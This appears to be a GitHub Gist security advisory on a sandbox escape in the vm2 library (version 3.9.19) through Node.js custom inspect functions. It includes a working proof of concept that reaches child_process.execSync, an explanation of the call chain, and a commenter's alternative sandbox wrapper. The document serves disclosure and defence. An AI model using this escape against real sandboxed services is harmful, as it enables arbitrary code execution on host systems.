Skip to content

Instantly share code, notes, and snippets.

@leesh3288
Last active March 30, 2024 07:00
Show Gist options
  • Star 8 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save leesh3288/e4aa7b90417b0b0ac7bcd5b09ac7d3bd to your computer and use it in GitHub Desktop.
Save leesh3288/e4aa7b90417b0b0ac7bcd5b09ac7d3bd to your computer and use it in GitHub Desktop.
Sandbox Escape in vm2@3.9.19 via custom inspect function

Sandbox Escape in vm2@3.9.19 via custom inspect function

Summary

In vm2 for versions up to 3.9.19, Node.js custom inspect function allows attackers to escape the sandbox and run arbitrary code.

Proof of Concept

const {VM} = require("vm2");
const vm = new VM();

const code = `
const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');

obj = {
    [customInspectSymbol]: (depth, opt, inspect) => {
        inspect.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
    },
    valueOf: undefined,
    constructor: undefined,
}

WebAssembly.compileStreaming(obj).catch(()=>{});
`;

vm.run(code);

Analysis

Node.js allows a custom inspect function to be used instead of the default formatter by defining it as util.custom.inspect property. This symbol is available cross-realm via Symbol.for('nodejs.util.inspect.custom'). If inspect() on an object with a custom inspect function can be triggered within the sandbox, it enables an attacker to leak inspect function created in host context into the sandbox.

Searching for Node.js internal use cases of inspect() yields several hits, where we see use cases in determineSpecificType() @ lib/internal/errors.js. This is reachable by various types of errors, for example ERR_INVALID_ARG_TYPE and ERR_INVALID_ARG_VALUE.

Searching for ERR_INVALID_ARG_TYPE we see this type of error being thrown inside wasmStreamingCallback() @ lib/internal /wasm_web_api.js, which is reachable from WebAssembly.compileStreaming().

This enables an attacker to leak inspect function created in host context into the custom inspect function within the sandbox, effectively escaping it.

Note that ERR_INVALID_ARG_TYPE and wasmStreamingCallback() is just an example of triggering inspect() with user-controlled object, and using this specific call chain is not necessary to exploit this vulnerability.

Reference

Impact

Remote Code Execution, assuming the attacker has arbitrary code execution primitive inside the context of vm2 sandbox.

Credits

Xion (SeungHyun Lee) of KAIST Hacking Lab

@mgttt
Copy link

mgttt commented Mar 22, 2024

2024-03-30

“Preserve the scene of globalThis and restore when finally”

var jevalx = async(js,ctx,timeout=60000,More=['process','Symbol','Error','eval','require'],vm=require('node:vm'),Wtf={})=>{
  for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}
  try{return await vm.createScript(js).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})}
  catch(ex){throw ex}finally{for(var k in Wtf){globalThis[k]=Wtf[k]};}
};

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment